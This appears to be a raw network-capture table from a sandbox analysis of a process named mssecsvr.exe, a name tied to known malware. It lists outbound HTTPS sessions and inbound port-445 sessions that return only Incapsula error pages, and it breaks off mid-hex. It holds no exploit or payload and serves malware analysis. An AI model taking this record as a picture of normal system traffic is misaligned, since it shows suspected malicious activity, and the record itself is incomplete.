Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	54343	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	54421	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	54566	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	54592	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	54639	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	54669	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	54670	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	54717	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	50104	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	54724	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	54765	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	54795	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	54747	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	54797	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	54817	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	54843	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	54825	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	54874	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	54876	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	50105	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	54886	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	54911	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	54956	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	54957	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	54959	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	54962	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	54964	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	54988	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	55037	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	55068	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	50102	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	55066	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	55116	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	55122	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	55126	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	55125	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	55151	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	55228	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	55280	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	55361	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	55367	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	50107	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	55441	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	55447	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	55471	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	55771	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	55774	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	56276	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	56360	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	58449	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	61624	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	64727	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	50108	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	64726	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	64977	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	45.60.207.1	445	192.168.2.7	53758	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:28.177155972 CEST	9820	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 14-10457193-0 0NNN RT(1658338347825 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 30 34 35 37 31 39 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 34 37 38 32 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 34 37 33 36 32 36 33 31 36 35 35 30 39 39 30 32 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 34 37 33 36 32 36 33 31 36 35 35 30 39 39 30 32 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-10457193-0%200NNN%20RT%281658338347825%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-47362631655099022&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-47362631655099022</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	45.60.207.1	445	192.168.2.7	53924	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:31.222259045 CEST	9827	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 6-2807531-0 0NNN RT(1658338350869 2) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 36 2d 32 38 30 37 35 33 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 30 38 36 39 25 32 30 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 31 39 36 34 34 36 34 36 38 34 32 30 36 37 32 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 31 39 36 34 34 36 34 36 38 34 32 30 36 37 32 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=6-2807531-0%200NNN%20RT%281658338350869%202%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-11964464684206726&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-11964464684206726</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	45.60.207.2	445	192.168.2.7	53927	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:31.343173027 CEST	9829	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 9-18768652-0 0NNN RT(1658338351091 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 31 38 37 36 38 36 35 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 31 30 39 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 39 39 39 35 35 38 35 39 30 38 36 38 33 36 31 36 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 39 39 39 35 35 38 35 39 30 38 36 38 33 36 31 36 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-18768652-0%200NNN%20RT%281658338351091%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-99955859086836169&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-99955859086836169</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	45.60.207.2	445	192.168.2.7	54129	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:34.409722090 CEST	9879	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 7-14891670-0 0NNN RT(1658338354157 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 31 34 38 39 31 36 37 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 34 31 35 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 37 39 36 30 30 34 32 34 32 32 38 31 35 39 39 34 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 37 39 36 30 30 34 32 34 32 32 38 31 35 39 39 34 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-14891670-0%200NNN%20RT%281658338354157%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-79600424228159943&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-79600424228159943</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	45.60.207.3	445	192.168.2.7	54132	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:34.551623106 CEST	9882	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 12-106752240-0 0NNN RT(1658338353740 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 31 30 36 37 35 32 32 34 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 33 37 34 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 